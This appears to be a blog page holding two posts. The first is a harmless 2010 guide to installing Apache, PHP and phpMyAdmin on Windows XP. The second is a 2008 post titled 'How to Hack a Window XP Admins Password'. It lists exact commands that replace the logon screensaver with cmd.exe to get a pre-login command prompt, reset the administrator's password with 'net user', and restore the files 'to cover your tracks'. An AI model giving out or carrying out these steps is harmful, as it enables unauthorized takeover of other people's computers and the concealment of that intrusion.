Setting up localhost – The fun way.
Posted on March 19th, 2010 No commentsAbout two days ago, I thought “Hmmm.. lets learn PHP”. Because PHP is a server-side language you have to upload pages to your server before you can test them, this process is annoying and uses a sh1tload of bandwidth if you are working with major code. Alternatively you can set up your localhost to run as a webserver and test the code from there. Sounds cool huh?
Well I had done it once, way-back-when and couldn’t remember all the commands etc. So I had a look on the internet, it was as dry as an 80-year old granny. Nothing. Nada, well nothing that helped me much anyway.
BUT, I did it. This morning, after not sleeping for 2 nights to get this up (yes, I am that dedicated/sad).
Now, there are programs out there which are a sort of one-click done type of thing, if you want that, google it. I only do things the fun way, by manual installation and learning the basics behind the subject.
First of all; lets talk about what software we are going to use:
Windows XP,
Apache 2.2.14 (the HTTP project one, none of their other software)
PHP5.3.1 (binaries not one-click install)
PHPMyAdmin 3.2.5 (english).
LINKS
Apache: http://httpd.apache.org/download.cgi#apache22 (Win32 Binary including OpenSSL)
PHP: http://windows.php.net/download/ (Thread safe x86 VC6 – look for it on the page)
phpMyAdmin: http://www.phpmyadmin.net/home_page/downloads.php (english vers.)
TUTORIAL!
Download all of the files to your desktop, we will start by doing the easiest first – Apache.
APACHE
This is the only one-click install package we will use, extract and open the .msi file, double click and open.
When you hit the Server Information box enter ‘localhost’, do the same for the Domain Network box and enter what ever e-mail you want in the Administrators E-mail box. “Leave the All Users, on Port 80, as a Service” check button checked. When it asks if you want to make a bin as well, say yes and continue.
Setup Type = “Typical” and spam next all the way through until the end.
The .msi file assumes that it installs to “C:\Program Files\Apache Group\” so that is where all the files are sitting nicely for you.
You will need to know how to Start/Stop/Restart your server won’t you?:
Go Start>All Programs>Apache HTTP Server 2.2>Control Apache Server then you have Stop, Start, and Restart> Choose restart.
PHP
Extract the binaries to “C:\php”
Inside the extracted folder find a file called “php.ini-recommended” and rename it to php.ini and put it in the “C:\WINDOWS\”
Find libmysql.dll and put it into “C:\WINDOWS\System 32″ <- this means PHP will load the MySQL module.
Right, thats done. Now for phpMyAdmin
PHPMYADMIN
Extract the files and put them into “C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\phpmyadmin”
STRING EDITING:
Open php.ini and find the words “extension=php_mysql.dll” and remove the ; from the front of it.
And that is phpMyAdmin done
.Now you should be able to load up LocalHost on a web browser and it should work.
Now: How do you get files/pages to display? Well, put any file into: “C:\Program Files\Apache Software Foundation\Apache2.2\htdocs” and they will display through LocalHost. Oh no! You need a MySQL database? That’s what phpMyAdmin is there for; you can use that to mess around with the MySQL databases.
So, there you go

How to Hack a Window XP Admins Password
Posted on July 20th, 2008 1 commentThis is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:
cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exitSo what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.
